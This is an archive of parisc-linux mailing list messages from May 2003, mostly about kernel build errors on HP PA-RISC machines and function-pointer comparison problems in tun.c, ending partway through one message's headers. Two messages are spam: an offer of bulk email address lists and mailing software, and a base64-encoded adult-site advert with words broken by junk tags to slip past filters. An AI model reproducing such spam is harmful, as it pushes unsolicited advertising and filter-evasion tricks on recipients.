Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 2923A4ABB8; Sat, 10 May 2003 00:05:38 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18430

--lKKnPHJE/sHLsAX+
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi *!

[...]
cvs server: [16:02:29] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10
cvs server: [16:02:59] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10
cvs server: [16:03:29] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10
cvs server: [16:03:59] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10
cvs server: [16:04:29] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10
cvs server: [16:04:59] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--lKKnPHJE/sHLsAX+
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+vCYxHb1edYOZ4bsRAu7mAJ9J8CgGRJtAsdvijBO/eOAw9DitlgCcCQH7
a9nIHqG9sX79lxo1RzdIN0U=
=gAr9
-----END PGP SIGNATURE-----

--lKKnPHJE/sHLsAX+--


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Todd <rtodd@antipentium.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP on J5000
Date: Fri, 09 May 2003 22:16:21 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <BAE1D935.ADA%rtodd@antipentium.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622440 25512 80.91.229.3 (22 Nov 2014 02:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  9 20:16:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crypto.hack.co.za (h-69-3-43-158.PHLAPAFG.covad.net [69.3.43.158])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8C3A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 May 2003 20:16:22 -0600 (MDT)
Original-Received: from [10.0.1.2] (pcp02226300pcs.rte20201.de.comcast.net [68.32.188.79])
	by crypto.hack.co.za (Postfix) with ESMTP id 4682C3FF5
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 04:14:47 +0200 (SAST)
User-Agent: Microsoft-Entourage/10.0.0.1309
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18431

Linux k2000 2.4.20-pa32 #1 Sat May 10 00:07:09
Latest gcc
This is a 785/j5000

This is the error we get when trying to compile the SMP kernel





sched.c:93: initializer element is not constant
sched.c:93: (near initialization for `tasklist_lock')
sched.c:93: initializer element is not constant
make[2]: *** [sched.o] Error 1
make[2]: Leaving directory `/usr/src/linux-2.4.20-pa33/kernel'
make[1]: *** [first_rule] Error 2
make[1]: Leaving directory `/usr/src/linux-2.4.20-pa33/kernel'
make: *** [_dir_kernel] Error 2



From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP on J5000
Date: Sat, 10 May 2003 00:47:16 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20030510064716.GD7649@dsl2.external.hp.com>
References: <BAE1D935.ADA%rtodd@antipentium.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622441 25513 80.91.229.3 (22 Nov 2014 02:14:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Todd <rtodd@antipentium.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 00:47:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id B638C4829; Sat, 10 May 2003 00:47:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <BAE1D935.ADA%rtodd@antipentium.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18432

On Fri, May 09, 2003 at 10:16:21PM -0400, Richard Todd wrote:
> Linux k2000 2.4.20-pa32 #1 Sat May 10 00:07:09
> Latest gcc

"gcc -v" output please

> This is a 785/j5000
> 
> This is the error we get when trying to compile the SMP kernel
> sched.c:93: initializer element is not constant

grundler@gsyprf11:/usr/src/2.4.20-SMP$ ls -l kernel/sched*
-rw-r--r--    1 grundler users       32779 Nov 13 21:13 kernel/sched.c
-rw-r--r--    1 grundler users      173096 May  9 23:41 kernel/sched.o

Using "gcc version 3.2.3 20030316".
My tree isn't totally clean but I don't think any changes I have
interact with sched.c.

Can you verify your source tree is not corrupted?

If you haven't done so already, please save your .config,
"make distclean" and start over.

grant


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?gb2312?q?=D1=EE=CF=C8=C9=FA_ <sdd@yahoo.com>,
	?=@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 30000000emailaddress and emailsender soft for you only 15$
Date: Sat, 10 May 2003 15:48:00 +0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20030510072753.8DFCE4829@dsl2.external.hp.com>
Reply-To: sdd@yahoo.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related; boundary="61d7265e-7f0d-4fa3-bd01-c101ba09a6e9"
X-Trace: ger.gmane.org 1416622441 25515 80.91.229.3 (22 Nov 2014 02:14:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 01:27:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from yahoo1190.com (unknown [61.235.68.66])
	by dsl2.external.hp.com (Postfix) with SMTP id 8DFCE4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 01:27:53 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18433

This is a multi-part message in MIME format
--61d7265e-7f0d-4fa3-bd01-c101ba09a6e9
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><FRAMESET border=3D0 frameBorder=3D0 frameSpacing=3D0 =
rows=3D100%,*><FRAME marginHeight=3D5 marginWidth=3D10 name=3Deasymain src=3D=
"www.0755sz.com"></FRAMESET>  
--61d7265e-7f0d-4fa3-bd01-c101ba09a6e9--



From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jason Donovan" <jason_don0orlf@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lalalala
Date: Sat, 10 May 2003 02:43:36 +1100
Lines: 57
Approved: news@gmane.org
Message-ID: <001801b2ad00$ddd68333$07876173@tvabacj.kcu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_00D4_62E37E1A.E1842A04"
X-Trace: ger.gmane.org 1416622441 25528 80.91.229.3 (22 Nov 2014 02:14:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:01 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 08:01:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from aol.com (unknown [218.38.193.93])
	by dsl2.external.hp.com (Postfix) with SMTP id D6B764829
	for <parisc-linux@parisc-linux.org>; Sat, 10 May 2003 08:01:16 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18434

------=_NextPart_000_00D4_62E37E1A.E1842A04
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64


PGh0bWw+PGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiIgdGV4dD0iI0ZGRkZGRiIg
bGluaz0iI0ZGMzMzMyIgdmxpbms9IiNGRkZGRkYiIGFsaW5rPSIjRkZGRkZG
Ij48ZGl2IGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIiBz
aXplPSI0IiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5I
ZXksIFdoYXRzIGJlZW4gaGFwcGVuaW5nPywgdGg8L2x3UTg1PmlzIHM8L2x3
UTg1Pmk8L2x3UTg1PnRlIHc8L2x3UTg1PmlsPC9sd1E4NT5sIG48L2x3UTg1
Pm88L2x3UTg1PnQgYzwvbHdRODU+b3N0IHlvPC9sd1E4NT51IGEgYzwvbHdR
ODU+ZTwvbHdRODU+bnQ8L2ZvbnQ+PC9sd1E4NT48L2Rpdj48L2x3UTg1Pjwv
bHdRODU+PHRhYmxlIHdpZHRoPSI2MzYiIGhlaWdodD0iMjAxIiBhbGlnbj0i
Y2VudGVyIiBiZ2NvbG9yPSIjNjc3OEVCIj48L2x3UTg1Pjx0cj48L2x3UTg1
Pjx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0i
NEJBNEYwIiBoZWlnaHQ9IjIwOCI+PC9sd1E4NT4gPGI+PGZvbnQgZmFjZT0i
VGFob21hIiBzaXplPSI1Ij5GPC9sd1E4NT4tci08L2x3UTg1PmUtZTwvbHdR
ODU+Jm5ic3A7Jm5ic3A7DQogczwvbHdRODU+LWU8L2x3UTg1Pi14PC9sd1E4
NT4mbmJzcDsmbmJzcDsgb24mbmJzcDsmbmJzcDsgdGhlJm5ic3A7Jm5ic3A7
IHc8L2x3UTg1PmViPC9mb250PjwvbHdRODU+PC9iPjwvbHdRODU+PHRhYmxl
IHdpZHRoPSI2MzUiIGhlaWdodD0iMTU4IiBhbGlnbj0iY2VudGVyIj48L2x3
UTg1Pjx0cj48L2x3UTg1Pjx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249Im1p
ZGRsZSIgYmdjb2xvcj0iOEJDRkYyIiBoZWlnaHQ9IjE2NyI+PC9sd1E4NT48
cD48L2x3UTg1PjxiPjxmb250IHNpemU9IjIiIGZhY2U9IlZlcmRhbmEsIEFy
aWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIGNvbG9yPSIjMDAzMzk5Ij48
L2x3UTg1PlBpPC9sd1E4NT5jdDwvbHdRODU+dXJlPC9sd1E4NT5zLCZuYnNw
Ow0KIG1vPC9sd1E4NT52aTwvbHdRODU+ZXMsPC9sd1E4NT4mbmJzcDsgPC9s
d1E4NT5nYTwvbHdRODU+bWU8L2x3UTg1PnMsJm5ic3A7IGM8L2x3UTg1Pmg8
L2x3UTg1PmF0PC9sd1E4NT4uPGJyPjxicj5NPC9sd1E4NT5vczwvbHdRODU+
dCA8L2x3UTg1PmltcDwvbHdRODU+b3J0PC9sd1E4NT5hbnRseTxicj48YnI+
PC9mb250PjwvYj48Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0
aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iIzAwMzM5OSI+PGI+
aTwvbHdRODU+dDwvbHdRODU+cyBhbGw8L2x3UTg1PiBmbzwvbHdRODU+ciZu
YnNwOyBmPC9sd1E4NT4tci08L2x3UTg1PmUtPC9sd1E4NT5lLjwvYj48L2Zv
bnQ+PC9wPjwvdGQ+PC9sd1E4NT48L3RyPjwvbHdRODU+PC90YWJsZT48L2x3
UTg1PjwvdGQ+PC90cj48L2x3UTg1PjwvdGFibGU+PGRpdiBhbGlnbj0iY2Vu
dGVyIj48L2x3UTg1PjxhIGhyZWY9Imh0dHA6Ly9yZC55YWhvby5jb20vKmh0
dHA6Ly93d3cuaW5jcmVkaWJsZW9mZmVyLnR2L2Zzdy85Ij48Zm9udCBmYWNl
PSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBjb2xvcj0iI0ZGMDAw
MCIgc2l6ZT0iNCI+PC9sd1E4NT5FbjwvbHdRODU+dGVyIHRvIGo8L2x3UTg1
Pm9pbiA8L2x3UTg1PmZvPC9sd1E4NT5yIG5vdDwvbHdRODU+aGluZyByPC9s
d1E4NT5pZ2h0DQogbm93PC9mb250PjwvYT48L2Rpdj48ZGl2IGFsaWduPSJj
ZW50ZXIiPiZuYnNwOzwvZGl2PjxkaXYgYWxpZ249ImNlbnRlciI+Jm5ic3A7
PC9kaXY+PGRpdiBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L2Rpdj48ZGl2IGFs
aWduPSJjZW50ZXIiPjwvbHdRODU+PC9sd1E4NT48dGFibGUgd2lkdGg9Ijgw
JSI+PC9sd1E4NT48dHI+PC9sd1E4NT48dGQgd2lkdGg9IjEwMCUiPjwvbHdR
ODU+PHAgYWxpZ249ImNlbnRlciI+PC9sd1E4NT48Zm9udCBjb2xvcj0iIzAw
MDAwMCI+PC9sd1E4NT48YSBocmVmPSJodHRwOi8vcmQueWFob28uY29tLypo
dHRwOi8vd3d3LmluY3JlZGlibGVvZmZlci50di9mc3cvcmVtIj5JPC9sd1E4
NT4gZG9udCA8L2x3UTg1Pmxpa2UgdGg8L2x3UTg1PmlzIGE8L2x3UTg1PmQs
IHBsZTwvbHdRODU+YTwvbHdRODU+c2UgZG8gbjwvbHdRODU+b3Qgc2U8L2x3
UTg1Pm5kIGFnPC9sd1E4NT5haW48L2x3UTg1PjwvYT48L2x3UTg1PjwvZm9u
dD48L2x3UTg1PjwvdGQ+PC9sd1E4NT48L3RyPjwvbHdRODU+PC90YWJsZT48
L2Rpdj48L2JvZHk+PC9sd1E4NT48L2h0bWw+


From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Yet another '__canonicalize_funcptr_for_compare' pb
Date: Sat, 10 May 2003 20:31:33 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <3EBD61A5.8030205@tiscali.be>
References: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622442 25549 80.91.229.3 (22 Nov 2014 02:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:02 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 14:18:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id EBE414829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 14:18:18 -0600 (MDT)
Original-Received: from [62.235.170.19] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19EanO-0007bR-00; Sat, 10 May 2003 22:18:14 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030430 Debian/1.3-5
X-Accept-Language: en
In-Reply-To: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18435

Hi Dave,

Atfer I reach to recover some kind of b2k test system I reach to grab 
2.4.21-rc2-pa35 and try to compile it with gcc-3.2 (debian 3.2.3-2 iirc)

The kernel seems to compiles well without err but it failled to build 
some module again because of '__canonicalize_funcptr_for_compare' needed 
in tun.o under drivers/net.

I read first the pre-asm code to try to locate pb and figure out that it 
was in tun_set_iff() near begining:
tun.c
...
static int tun_set_iff(struct file *file, struct ifreq *ifr)
{
        struct tun_struct *tun;
        struct net_device *dev;
        int err;

        dev = __dev_get_by_name(ifr->ifr_name);
        if (dev) {
                /* Device exist */
                tun = dev->priv;

                if (dev->init != tun_net_init || tun->attached)
                        return -EBUSY;

                /* Check permissions */
...

I suspect first if(dev) because dev is a pointer to a struct but finaly 
it is in "if (dev->init != tun_net_init..." which would become "if 
(dev->init != (void*)tun_net_init...".

Is it the right workaround? fixe?

I have another stupid question: as hppa seems to be the only platform 
requiring this stuff and I don't see how to check all src to track this 
pb (practicaly only try and chess?), how much would it be difficult to 
implement this __canonicalize_funcptr_for_compare into the hppa lib kernel?

Thanks in advance for advise,
    Joel



From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another '__canonicalize_funcptr_for_compare' pb
Date: Sat, 10 May 2003 22:25:30 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20030510202529.GI27494@lug-owl.de>
References: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca> <3EBD61A5.8030205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="MG8i8fjnGZSaPbFl"
X-Trace: ger.gmane.org 1416622442 25551 80.91.229.3 (22 Nov 2014 02:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 14:25:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id B414B4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 14:25:31 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 6A12D4ABD6; Sat, 10 May 2003 22:25:30 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3EBD61A5.8030205@tiscali.be>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18436

--MG8i8fjnGZSaPbFl
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, 2003-05-10 20:31:33 +0000, Joel Soete <joel.soete@tiscali.be>
wrote in message <3EBD61A5.8030205@tiscali.be>:
>=20
> The kernel seems to compiles well without err but it failled to build=20
> some module again because of '__canonicalize_funcptr_for_compare' needed=
=20
> in tun.o under drivers/net.

This leads me to ask: How do I localize wrong pointer compares?
Compiling 2.5.x with mostly everything compiled as module unhides quite
some modules with suffer from this problem. So is there any simple way
finding out at which address a call to
__canonicalize_funcptr_for_compare happens so that I can localize the
code line?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--MG8i8fjnGZSaPbFl
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+vWA5Hb1edYOZ4bsRApmNAJ9J5NS72a+uwRnGbGRscdEg8s9I/gCeJHlj
C5ugOxydGLULtPshSECNUUU=
=/4p6
-----END PGP SIGNATURE-----

--MG8i8fjnGZSaPbFl--


From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another '__canonicalize_funcptr_for_compare' pb
Date: Sat, 10 May 2003 15:08:23 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030510210823.GC25415@dsl2.external.hp.com>
References: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca> <3EBD61A5.8030205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622442 25555 80.91.229.3 (22 Nov 2014 02:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 15:08:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2EF424829; Sat, 10 May 2003 15:08:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3EBD61A5.8030205@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
